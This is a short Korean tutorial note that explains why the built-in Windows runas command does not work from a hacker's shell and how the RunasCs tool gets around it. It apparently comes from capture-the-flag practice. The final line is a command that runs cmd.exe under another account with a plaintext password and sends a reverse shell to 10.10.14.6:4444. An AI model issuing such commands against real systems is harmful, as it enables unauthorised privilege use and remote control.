1. 개요
Windows 의 기본 내장 명령어인 runas 를 해킹용으로 개조한 버전이라고 생각하면 된다.
1.1. runas란?
Run As 의 줄임말로 다른 사용자의 계정으로 프로그램을 실행한다는 뜻이다.
예를 들어 현재 로그인한 계정(예 : User_A)에서 로그아웃 하지 않고 특정 프로그램 하나만 다른 계정(예: administrator)의 권한으로 실행하고 싶을 때 사용한다.
1.2. 사용하는 이유
해커가 쉘에서 runas /user:administrator cmd.exe 라고 작성한다고 하자. 명령어는 실행되지만 runas 는 해당 계정의 암호를 작성해야 하는데 대기상태로 넘어간다. 그리고 해커의 쉘에서는 비밀번호 입력창에 글자를 전달해 주지 못해서 에러가 나거나 멈춰버린다.
즉, runas 는 사람이 직접 비밀번호를 치는 환경을 가정하고 만들어져서 해킹 도구로 사용하기 부적합하다.
1.3. RunasCs 를 쓰는 이유
runas 와 같은 기능을 하는데 비밀번호를 명령어 뒤에 바로 적게 둘 수 있게 만든 것이 RunasCs 이다.
2. 사용법
2.1. 기본 사용법
# 사용법: RunasCs.exe [유저명] [비밀번호] [실행할파일]
.\RunasCs.exe c.bum Tikkycoll_431012284 cmd.exe -r 10.10.14.6:4444